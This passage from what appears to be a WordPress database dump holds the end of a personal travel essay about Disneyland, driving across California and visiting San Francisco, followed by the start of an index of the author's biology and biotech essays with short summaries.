class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!klBk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcaea718-7f50-46f8-98c1-e8bfa714f934_1024x1024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!klBk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcaea718-7f50-46f8-98c1-e8bfa714f934_1024x1024.png\" alt=\"Image\" title=\"Image\"/></a><figcaption class=\"wp-element-caption\">Tried to make a header image of Disneyland in Dall-E because I don’t have any good photos from my trip. One day I’ll learn how to take semi-decent photographs.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>e. What rides are not worth going on?&nbsp;</em>“Small World” is a nightmare consisting of a bunch of puppets singing a cloying song over and over again<a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-2-147148821\">2</a>. Seriously, it’s awful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>f.&nbsp;<em>How would you describe your fellow Disneyland guests?</em>&nbsp;So American it makes your teeth hurt, especially when they’re not. Let me explain: there is nothing more American than a bunch of German tourists wearing matching Disneyland t-shirts sipping Disneyland’s balkanized take on mint juleps, featuring insane amounts of sugar and zero alcohol. It’s a complete cultural victory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>g.&nbsp;<em>Would you go again?&nbsp;</em>I mean, yes, if I was in the area, but I’ve also been to Disney World multiple times, including just to travel around the Epcot “World Fair” and get progressively more drunk at each country’s food cart, so I can’t pretend to be a disinterested reviewer. I wouldn’t travel to it specifically, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1 class=\"wp-block-heading\">The Drive from LA to SF</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. This is a longer drive than you are anticipating. It’s 11 hours if you take the scenic route along the coast, 7ish hours if you take the non scenic route through the middle of California. We did a mix of routes because part of the scenic route was closed off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. The scenic route is quite scenic. There are mountains and views of the ocean and surfers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. The non scenic route is non scenic. There are endless stretches of highway being baked by the merciless California sun with no wind in sight, and the only friendly faces are the giant cutouts of vineyard farmers that dot the landscape (I don’t know why they’re there either). This is the California of the&nbsp;<em>Grapes of Wrath</em>, and these grapes are angry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. The middle of California has a bunch of Republican Mexicans, which is a demographic that is not well-represented in media. They are pro-gun, pro-Trump, pro-Christianity, and anti-immigrant, even though (or maybe because) they are very recent immigrants themselves. From our brief meal in a Republican Mexican diner, I can also say they appear to be aggressively hospitable, and will fill up your cup of coffee for your endless refill whether you want them to or not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1 class=\"wp-block-heading\">San Francisco</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. Oh, San Francisco. city of contradictions, how I love thee. You are the most extreme city I’ve ever been to. Your people are incredibly kind, generous, and will break into your car if there’s anything in the back seat. Your parks are gorgeous and often full of trash. Your public transportation is safe and functional except for the homeless people who board with large pitbulls who have a possessive attitude towards other people’s crotches. Your sidewalks are eminently walkable as long as one keeps an eye out for poop and needles.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. We stayed in Downtown San Francisco at the cheapest hotel I could find that also looked to be safe and well-run. I grew to appreciate the “safe and well-run” part, as, right before I got there, a news story broke out about an Australian guy who was in SF on a business trip and was staying at a cheaper, more dangerous motel. Apparently, when he was walking back to his motel at 11 pm one night, he got mugged and left for dead on the sidewalk. He was found with a fractured skull and nothing in his pockets by a passerby, taken to the Chan-Zuckerberg hospital, and not identified for 3 days<a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-3-147148821\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. That being said, “safe and well-run” is relative. We had to move rooms because our first room had bloodstains on the wall from someone injecting drugs and then flicking the blood afterwards (don’t ask me how I know what that looks like). Our second room also had those stains, but less noticeably. And, on our final day, we had a tough time checking out of the hotel because the hotel staff were all in a tizzy because a guest of a guest at the hotel kept freaking out at everyone in the hotel and trying to hit them with his phone, which was like an old school brick cell phone. Our checkout process was repeatedly interrupted by the clerk being on the phone with the SFPD and saying, “No, you don’t get it, he will hurt someone if you don’t come here.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Downtown San Francisco may have the world’s most security-guarded up department store, a Ross Dress for Less. There were 6 security guards in the store at all times, and they only allowed a limited number of people in the store at any one time. Shoplifting is a serious issue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Despite all the struggles of doing retail in San Francisco, San Francisco has incredible food and coffee. Seriously. I don’t know why it’s so good but it is. I highly, highly recommend the SPRO chain. To give you an idea of how good it is, their dog menu has Alaskan Salmon and coconut water. Their dog menu!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. SF also has great thrifting, including many genuine leather jackets and fur coats. Unfortunately, it’s pretty difficult to find an actual good thrifting deal there, as the thrift store people often look up the items online and price them appropriately. Also, beware of the AIDS Healthcare Foundation thrift store. Not that it’s a bad thrift store, but the profits don’t actually go towards AIDS healthcare, but instead towards lobbying against building new buildings in San Francisco. This is what San Francisco is like.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. San Francisco is temperate year round, compact, is built on a hill overlooking a bay, and, as far as I can tell, had zero rules for architecture when most of it was built. This makes walking exceedingly pleasant, as views abound and there’s always another weird architectural masterpiece around another corner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8. The only thing that mars the walking experience is the number of people on the sidewalks that are in the worst state you have ever seen, along with the trash they bring with them and the functional humans who profit off their misery. This is especially bad in the Tenderloin neighborhood (which happens to be in the center of SF and difficult to avoid), but is bad everywhere.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, in the Tenderloin, you can get a pretty good croissant and coffee, then walk outside to see 5 guys standing on a corner who are obviously drug dealers. The sidewalk across the street has an open air black market with druggies selling 15 bottles of shoplifted laundry detergent next to other druggies smoking meth next to other druggies covered in feces and injecting themselves into clearly septic legs and arms with open, oozing sores. All of this is accented by the worst smell you’ve ever smelled in your life, of human waste baked in the sun. Sprinkled throughout this bazaar of crime, misery, and filth are “City Ambassadors”, who are employed by the city to, um, say hi to the druggies? It’s not clear. At least the city also employs other people to pressure wash the streets each morning so they’re clean-ish, although they rapidly get dirty again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fairness to SF, they are supposedly making an effort to clean this up now that the Supreme Court has ruled they can force people off the streets. We’ll see.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>9. Oh right, the other thing that mars the walking experience are the insane people on the sidewalk, who form a Venn diagram with the druggies. They will follow you, shout at you, and threaten you, especially if you are a woman. It is unclear what they are getting out of this, but they seem to be having a good time, and the cops don’t seem to care.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>10. SF has self-driving rideshares everywhere (Waymos), which work remarkably well and are only about 50% more than an Uber. They drive really well, especially considering that SF has crazy people in the streets, some of whom own cars.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>11. In SF, you can take a self-driving car and listen to soft jazz past incredibly messed up, drugged out people and it feels incredibly cyberpunk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>12. The SF social scene is incredibly flat and open in the best way. I emailed multiple people I’ve never met before, including serious people running serious bio startups, and asked them to meet with me and my girlfriend for lunch to discuss what science is like outside of academia, as my girlfriend is a postdoc considering her next moves. And they did! Just to be nice! That’s awesome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The contradiction with Boston is pretty stark, too. I have been in Boston close to 10 years and I have still not broken into the Boston bio or tech scene in any meaningful way. I rarely get invited to industry parties or events. In SF, I literally got invited to two bio-adjacent parties the random week I showed up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>13. SF is blessed with so much natural and manmade beauty it’s obscene. The architecture is amazing; the shops are adorable; the parks are incredible. I mean, at one point, we were hiking by the Golden Gate Bridge, looked across a hill of flowers into the Bay, and saw a whale breach. This was like 5 minutes from a pretty central bus stop. That’s insane.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>14. I can’t wait to go back.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-anchor-1-147148821\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The diner was called the “Black Bear Diner”. We thought it was a cute neighborhood diner, until I looked at the menu (which was cutely done up to look like a newspaper) and realized they had over 100 locations. Despite this, the food was pretty good by diner standards. This is where we got introduced to a surprisingly common California custom of paying your bill at the cash register (instead of the waiter taking your card), which I quite like.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, one thing that I thought was really funny was the newspaper/menu claiming the founders “just wanted a place where their friends could hang out and were surprised to find others liked it too”, and then seeing that they expanded to 5 locations in as many years after founding. “Aw shucks family dining” meets “aggressively tapping private market financing for debt fueled growth”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-anchor-2-147148821\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although I had a truly great moment on the ride. The point of Small World is each group of puppets is supposed to represent a different region. In the India region, some of the puppets were dancing and isolating their heads from their bodies. My girlfriend said, “I always find that isolation really impressive,” and I said, “You mean like this?” and did it for her, as that was a trick I learned in my breakdancing days. I have brought this exchange up to her like 5 times since then.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-anchor-3-147148821\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once this story went viral, the SF Police Department complicated the story by claiming the guy wasn’t mugged and his identification wasn’t stolen, but I don’t believe them as it doesn’t make sense how he would have had a fractured skull or gone missing for 3 days otherwise. Plus, I assume SFPD is generally incompetent, judging by the state of the city, so I’d have a hard time trusting them about anything.</p>\n<!-- /wp:paragraph -->','Thoughts on California from a brief visit','','inherit','closed','closed','','476-revision-v1','','','2025-07-03 19:15:26','2025-07-03 19:15:26','',476,'https://trevorklee.com/?p=477',0,'revision','',0),
(478,1,'2025-07-03 19:16:34','2025-07-03 19:16:34','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-lactate-as-important-as-glucose-for-metabolism/\">Is lactate as important as glucose for metabolism?</a> - The evidence for and against the lactate shuttle hypothesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-do-waterdwelling-turtles-survive-the-winter/\">How do waterdwelling turtles survive the winter?</a> - Turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-short-rundown-of-how-animal-drugs-are-regulated/\">A short rundown of how animal drugs are regulated</a> - CVM looks for safety, efficacy, and manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/animal-health-is-still-in-its-infancy/\">Animal health is still in its infancy</a> - There\'s a lot of room left to grow before veterinary work is as \"mature\" as human health work. You should come work in animal health!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 